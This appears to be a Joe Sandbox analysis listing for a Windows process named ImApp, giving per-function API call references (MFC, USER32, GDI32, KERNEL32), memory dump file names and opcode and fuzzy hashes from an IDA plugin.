_invalid_parameter_noinfo.MSVCR80 ref: 020C4340

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578_invalid_parameter_noinfo$#280#310
String ID:
API String ID: 2708042301-0
Opcode ID: 6555bf3c6848f4f1524994e74b547052491d12f0c4010f33e670d007a5cdbed8
Instruction ID: 16057db1f526f386505698962daf4346bae85624affaa993b458a26803201a38
Opcode Fuzzy Hash: 6555bf3c6848f4f1524994e74b547052491d12f0c4010f33e670d007a5cdbed8
Instruction Fuzzy Hash: 60317875548340DFC355CF14D890E9ABBF4FB88224F64896EF89A87251D730E905CB91

Function 020E46C0 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

#5.IMDBU(?,?,?,?,?,?,?,?,?,020E46A8), ref: 020E46FF
#1.SFTTREE_IX86_U_60(265105E4), ref: 020E4712
free.MSVCR80 ref: 020E474F
free.MSVCR80 ref: 020E4763
#1.IMDBU ref: 020E4795
#578.MFC80U ref: 020E47A5

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: free$#578
String ID:
API String ID: 3134271747-0
Opcode ID: cd85cfa82a4741c781cf1d3f5ee25da2f6d676136450c8c65923743d4a2202fb
Instruction ID: e6f47e830643d5c449b38ec40dfe2fb81b071fb999b94dda8b51e13a6b13bde1
Opcode Fuzzy Hash: cd85cfa82a4741c781cf1d3f5ee25da2f6d676136450c8c65923743d4a2202fb
Instruction Fuzzy Hash: 3B315AB16047818FD710DF28C844B5BBBE8BF89318F040A6CE49A87750D779E548CBA2

Function 100015F0 Relevance: 9.1, APIs: 6, Instructions: 77COMMON

Download Yara Rule

APIs

#5.IMDBU ref: 1000162C

Part of subcall function 10001A00: TlsGetValue.KERNEL32(00000002,?,?,?,?,?,10001631), ref: 10001A10
Part of subcall function 10001A00: sqlite3_close.SQLITE3(?,?,?,?,?,?,10001631), ref: 10001A30
Part of subcall function 10001A00: #49.IMDBU(00000000), ref: 10001A3B
Part of subcall function 10001A00: #764.MFC80U(00000000,00000000,00000000), ref: 10001A4E
Part of subcall function 10001A00: TlsSetValue.KERNEL32(00000002,00000000,?,?,?,?,?,10001631), ref: 10001A5C

EnterCriticalSection.KERNEL32(10010798), ref: 1000165C
_invalid_parameter_noinfo.MSVCR80 ref: 1000168E
TlsFree.KERNEL32(00000003), ref: 100016AC
LeaveCriticalSection.KERNEL32(10010798), ref: 100016BC
#578.MFC80U ref: 100016F0

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: CriticalSectionValue$#578#764EnterFreeLeave_invalid_parameter_noinfosqlite3_close
String ID:
API String ID: 1920233842-0
Opcode ID: a5b20cb738ff2d74f8a123a29227d50f24fd7c7fcd0f7afa9ab89d0ae11fcd2b
Instruction ID: 98f6758a0183dfcda013978ebff22cb85b8688075e2afaa53ab07c16f66b0f32
Opcode Fuzzy Hash: a5b20cb738ff2d74f8a123a29227d50f24fd7c7fcd0f7afa9ab89d0ae11fcd2b
Instruction Fuzzy Hash: E1316B75508398DFE340DF14C885B9ABBE8FF893A8F40061DF88597295C775E904CBA2

Function 10004790 Relevance: 9.1, APIs: 6, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 10005240: #1472.MFC80U(?,DC7F180A,?,?,10004927,?,?,DC7F180A,?,?,DC7F1836,DC7F1836), ref: 1000525C

_invalid_parameter_noinfo.MSVCR80(?,?,DC7F1836,DC7F180A,00000000,?,?), ref: 100047DB
#1472.MFC80U(?,?,?), ref: 100047F1
#280.MFC80U(?,?,?), ref: 10004800
#578.MFC80U(?,?,?,?), ref: 1000483C
_invalid_parameter_noinfo.MSVCR80 ref: 10004846
_invalid_parameter_noinfo.MSVCR80 ref: 10004851

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo$#1472$#280#578
String ID:
API String ID: 2673151844-0
Opcode ID: c581b09a12a349b7436a36c21f8335ae1f3b52a9298e1f70bfe07647c5b60337
Instruction ID: baea9462e98e4e2b7995821c8364ab8868ccc54e1833473a2801f2495a5aa60a
Opcode Fuzzy Hash: c581b09a12a349b7436a36c21f8335ae1f3b52a9298e1f70bfe07647c5b60337
Instruction Fuzzy Hash: 48217F761087569FE310CF64C884E4BB7E8FF897A4F028A2DF95993255DB30E905CB91

Function 020DE340 Relevance: 9.1, APIs: 6, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80 ref: 020DE37C
_invalid_parameter_noinfo.MSVCR80 ref: 020DE388
_invalid_parameter_noinfo.MSVCR80 ref: 020DE38F
_invalid_parameter_noinfo.MSVCR80 ref: 020DE39C
DestroyIcon.USER32(00000000), ref: 020DE3A2
_invalid_parameter_noinfo.MSVCR80 ref: 020DE3AD

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo$DestroyIcon
String ID:
API String ID: 3669916963-0
Opcode ID: 1185f46851c186bb2060d1a9de752e9b7b16c8459030ec6317b491f61441353b
Instruction ID: 8e742274de43319ae7d478da10efb29fb54ca8163762de4d2397155f182c50b4
Opcode Fuzzy Hash: 1185f46851c186bb2060d1a9de752e9b7b16c8459030ec6317b491f61441353b
Instruction Fuzzy Hash: 95214C72940300DFCB51FF68D5C866AF3E6BB88310F554909D8599B250D7B0BC54CFA1

Function 00419730 Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

#310.MFC80U(FC8A6036,?,?,?,?,00420DD9,000000FF), ref: 00419759
#1322.IMUTILSU(00003A98,?,?,?,?,?,00420DD9,000000FF), ref: 00419788
#578.MFC80U(?,?,?,?,?,?,?,00420DD9,000000FF), ref: 004197AB
#1322.IMUTILSU(00003A9A,?,?,?,?,?,00420DD9,000000FF), ref: 004197CF
#3391.MFC80U(?), ref: 004197DC
#2311.MFC80U(?,00000000), ref: 004197EA

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1322$#2311#310#3391#578
String ID:
API String ID: 3521200155-0
Opcode ID: de78ca7d9cb836f83d16000770e3dd50d9b989caf938f7486dfb92fc013334e8
Instruction ID: 8675b4d565c1b114269cc57a5ba6c4fee5f58ad2bc484ab0b70e1371c2bf2d10
Opcode Fuzzy Hash: de78ca7d9cb836f83d16000770e3dd50d9b989caf938f7486dfb92fc013334e8
Instruction Fuzzy Hash: BB11DA77614301AFC314EF14DC19B9B77A8FF84710F004A2EF865862D0DB749905C6A6

Function 00415F40 Relevance: 9.1, APIs: 6, Instructions: 57windowCOMMON

Download Yara Rule

APIs

DestroyIcon.USER32(00000000), ref: 00415F67
DestroyIcon.USER32(00000000), ref: 00415F87
IsWindow.USER32(?), ref: 00415FA3
GetDesktopWindow.USER32 ref: 00415FAF
#2366.MFC80U(00000000), ref: 00415FB6
#1939.MFC80U(00000000,00000000), ref: 00415FBE

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: DestroyIconWindow$#1939#2366Desktop
String ID:
API String ID: 427560698-0
Opcode ID: f76b8971719b45a9a8eb8dc39044f49c14028868513212c1d4d59c419f97997f
Instruction ID: ce3a1a21f3218c13ad5e1402c33727c875f25333409e5315280e8e407ee6b307
Opcode Fuzzy Hash: f76b8971719b45a9a8eb8dc39044f49c14028868513212c1d4d59c419f97997f
Instruction Fuzzy Hash: C7116136B046149FDB30AB25DD44AEB73ACEF88314F45052AED49D3340CB39ED478AA9

Function 00403F90 Relevance: 9.1, APIs: 6, Instructions: 56windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00403FB5
#314.MFC80U(00000000,FC8A6036), ref: 00403FBF
#390.IMUTILSU(?,?,?,?,?,?,?,?,?,?,?,?,0041DDC8,000000FF), ref: 00403FED
PostMessageW.USER32(?,00008088,?,00000000), ref: 00404004
#681.IMUTILSU(?,?,?,?,?,?,?,?,?,?,?,?,0041DDC8,000000FF), ref: 0040400A
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0041DDC8,000000FF), ref: 00404034

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#390#6751#681MessagePost
String ID:
API String ID: 2392538962-0
Opcode ID: b9784773f6eacae5968112eb11b529c28c855ed482dd47da0141bdac68ef3420
Instruction ID: 8ad7f4ef9e29dc33a9a9ffad188b0e86f7859a26de9592846720003418b8b670
Opcode Fuzzy Hash: b9784773f6eacae5968112eb11b529c28c855ed482dd47da0141bdac68ef3420
Instruction Fuzzy Hash: E6116D712043419FC314EF25C945B5BB7E8FF84714F004A2EF5A497280DB38E805CB56

Function 004170C0 Relevance: 9.1, APIs: 6, Instructions: 52COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 004170CB
#620.IMUTILSU ref: 004170D1
GetWindowRect.USER32(00000000,?), ref: 004170DC
PtInRect.USER32(?,?,?), ref: 004170F1
SetForegroundWindow.USER32(?), ref: 00417120
#1130.IMLOOKU(?,00000001,?,?,00000001,00000000), ref: 0041714F

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: RectWindow$#1130#620CursorForeground
String ID:
API String ID: 2107911298-0
Opcode ID: 19d74a605e1609989d1a4455931a24258d0fbd75a86a8bbc2933fedeb3fe06f8
Instruction ID: 526347c0764867e04829157b25b40b849aa40f27ee4b9a3f7a5f2fb00f18b0ef
Opcode Fuzzy Hash: 19d74a605e1609989d1a4455931a24258d0fbd75a86a8bbc2933fedeb3fe06f8
Instruction Fuzzy Hash: B4110AB5608301AFC308DF64DD85AABBBE8EB88700F448A2EF589C7250D774E944CB56

Function 00415400 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

#6700.MFC80U(FC8A6036,?,?,?,?,?,004204DA,000000FF), ref: 00415434
#299.MFC80U(00000000,?,?,?,?,?,004204DA,000000FF), ref: 00415441
#6113.MFC80U(?,?,?,?,?,?,004204DA,000000FF), ref: 00415458
#2896.MFC80U(?,00000000), ref: 00415465
#3391.MFC80U(00000000), ref: 0041546E
#1479.MFC80U(?,00000000), ref: 00415476

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1479#2896#299#3391#6113#6700
String ID:
API String ID: 661504967-0
Opcode ID: 79c6fdf63a1ebb8be0069529fd76ed260aa0c6afd5e46ad748fc4cb291918bfc
Instruction ID: 0eafa024a6ea4029f46c375917162783e14ef66ab3e64e10a60a137d79e567dd
Opcode Fuzzy Hash: 79c6fdf63a1ebb8be0069529fd76ed260aa0c6afd5e46ad748fc4cb291918bfc
Instruction Fuzzy Hash: 980121B1704200AFD315EF19DD44A2BB7ECFB8C624F80062DF506D3351CB7499058B66

Function 03271A90 Relevance: 9.0, APIs: 6, Instructions: 48COMMON

Download Yara Rule

APIs

CreateRectRgnIndirect.GDI32(?), ref: 03271A9D
CombineRgn.GDI32(?,?,00000000,00000002), ref: 03271AAD
DeleteObject.GDI32(00000000), ref: 03271ABA
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 03271AC7
GetRgnBox.GDI32(?,?), ref: 03271ADA

Part of subcall function 032715D0: CreateRectRgnIndirect.GDI32(?), ref: 03271648
Part of subcall function 032715D0: SelectClipRgn.GDI32(?,00000000), ref: 0327165B
Part of subcall function 032715D0: DeleteObject.GDI32(00000000), ref: 03271687

DeleteObject.GDI32(?), ref: 03271AFE

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: CreateDeleteObjectRect$Indirect$ClipCombineSelect
String ID:
API String ID: 61594192-0
Opcode ID: 15324477e8dce898dab07d353cd24cbbaa176c75b5f2794af58248d08412a8a0
Instruction ID: f44b4826b876fa3222ba3f1f5986f9f713ab37dcf91dcb782554184f2f099bc9
Opcode Fuzzy Hash: 15324477e8dce898dab07d353cd24cbbaa176c75b5f2794af58248d08412a8a0
Instruction Fuzzy Hash: 4801EC762047006FD214EB659C8DF6BB7A8FBC8761F00850DF649D7180DA74A9058B66

Function 004154A0 Relevance: 9.0, APIs: 6, Instructions: 46COMMON

Download Yara Rule

APIs

#6700.MFC80U(FC8A6036,?,?,?,?,0042051A,000000FF), ref: 004154D9
#299.MFC80U(00000000,?,?,?,?,0042051A,000000FF), ref: 004154E6
#2896.MFC80U(?,?,?,?,0042051A,000000FF), ref: 004154FE
#3391.MFC80U(00000000,?,?,?,?,0042051A,000000FF), ref: 00415507
#6113.MFC80U(?,00000000,?,?,?,?,0042051A,000000FF), ref: 00415513
#1479.MFC80U(?,?,00000000), ref: 0041551F

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1479#2896#299#3391#6113#6700
String ID:
API String ID: 661504967-0
Opcode ID: 86fdc7971976ae98c4d846b77c6231c164bc9657e30dbab7d4962dfb7f4ec770
Instruction ID: 6c6a2694f0486f29a0cf3770594d41c09cc4f52e48c92721619047b64540137a
Opcode Fuzzy Hash: 86fdc7971976ae98c4d846b77c6231c164bc9657e30dbab7d4962dfb7f4ec770
Instruction Fuzzy Hash: 7C012175204250AFD315DF09DD08B6BBBE8FB88724F84452DF445D3391CBB895058BA6

Function 10009830 Relevance: 9.0, APIs: 6, Instructions: 44filesynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,10009590,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 1000983C
OpenFileMappingW.KERNEL32(00000006,00000000,?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 1000984A
CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,00000004,?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009862
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009877
UnmapViewOfFile.KERNEL32(00000000,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009888
ReleaseMutex.KERNEL32(?,?,?,?,00000000,1000A8EC,000000FF,10001796,00000000,?), ref: 10009892

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: File$MappingView$CreateMutexObjectOpenReleaseSingleUnmapWait
String ID:
API String ID: 4115524013-0
Opcode ID: a7df315fa3b3a4d5dbdc19b990d92f02d2634d176420cbacc44d499996e26dcc
Instruction ID: e1c3ee0405d855bcdbe9eaf83cf6e28ac6f198b4b66bae252767bd764f64d8cf
Opcode Fuzzy Hash: a7df315fa3b3a4d5dbdc19b990d92f02d2634d176420cbacc44d499996e26dcc
Instruction Fuzzy Hash: FE01E171745726BBF6219B648C49F573A98EB06BF1F114310FA25E62D8CB60E850C7A4

Function 00416830 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00416837
#2366.MFC80U(00000000), ref: 0041683E
GetClientRect.USER32(?,?), ref: 0041684E
#1139.IMLOOKU(00000000), ref: 0041685E
#1668.IMLOOKU(00000000,00425A68,00000001,00000001), ref: 00416881
#6061.MFC80U(6AECE598,00000000,00000000,00000000,00000000,00000203,00000000,00425A68,00000001,00000001), ref: 0041689C

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1139#1668#2366#6061ClientDesktopRectWindow
String ID:
API String ID: 3850903444-0
Opcode ID: a710a2334dbaec2599e9e83bcb9845519b61e16510153032cdad0917b7a61b81
Instruction ID: f2110030bf5f090bf5ee27df20eea5e62a41fa6a0ed5e008a3e95f4453b8bf91
Opcode Fuzzy Hash: a710a2334dbaec2599e9e83bcb9845519b61e16510153032cdad0917b7a61b81
Instruction Fuzzy Hash: 93F0C8317406107BE524F729CC52FAEB2A9EF84B00F50051EF2449B2D1DBF9A94287DD

Function 020E75A0 Relevance: 9.0, APIs: 6, Instructions: 40windowCOMMON

Download Yara Rule

APIs

SftTree_GetFlyby.SFTTREE_IX86_U_60(?), ref: 020E75A7
SftTree_GetCount.SFTTREE_IX86_U_60(?,?), ref: 020E75B5
SftTree_SetCurSel.SFTTREE_IX86_U_60(?,?,?,?), ref: 020E75D2
SftTree_SetCaretIndex.SFTTREE_IX86_U_60(?,?,?,?,?,?), ref: 020E75DC
IsWindowVisible.USER32(?), ref: 020E75E5
#6086.MFC80U(00000005,?,?,?,?,?), ref: 020E75F3

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: Tree_$#6086CaretCountFlybyIndexVisibleWindow
String ID:
API String ID: 1601390365-0
Opcode ID: 4cb49474e1af71848c5ece7998dc10717bd754fb50ea74e2c15da2d06f8ece53
Instruction ID: 044911b35ff345a7505ba57d87c15fd40246d928fb58e0ac1dd8897c04d179aa
Opcode Fuzzy Hash: 4cb49474e1af71848c5ece7998dc10717bd754fb50ea74e2c15da2d06f8ece53
Instruction Fuzzy Hash: 0AF06872640B116FCE66E7788988AEEF7E97F093043000608E513D7520DB65E890FFD0

Function 020DCA50 Relevance: 9.0, APIs: 6, Instructions: 39COMMON

Download Yara Rule

APIs

#6160.MFC80U(020F9BE8,265105E4,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA78
#5524.MFC80U(00000040,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA82
#4100.MFC80U(?,-00000001,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA97
#774.MFC80U(?,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAAC
#6167.MFC80U(?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAB4
#578.MFC80U(?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAC6

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #4100#5524#578#6160#6167#774
String ID:
API String ID: 1861553835-0
Opcode ID: dfce606767595cfec0d9f37e99e01d24d66d2e598b054a72350f1fe618737a6d
Instruction ID: 875f7bdd163bd771970e9eea9ce23254f8eefcfe491e728167525e6b102bd762
Opcode Fuzzy Hash: dfce606767595cfec0d9f37e99e01d24d66d2e598b054a72350f1fe618737a6d
Instruction Fuzzy Hash: 92018F79684741EBD745CF14D845B9EB7A8FB88B20F004A0DF65AC27C0DB3C9918CB46

Function 020C4370 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(invalid map/set<T> iterator,265105E4,?,?,?,00000000), ref: 020C43AA
_CxxThrowException.MSVCR80(?,020FC7E0), ref: 020C43D1
#578.MFC80U(265105E4,?,?,?,00000000), ref: 020C461F
#764.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,020EE4D2,000000FF,020C38F2), ref: 020C4626

Strings

invalid map/set<T> iterator, xrefs: 020C43A1

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578#764??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: invalid map/set<T> iterator
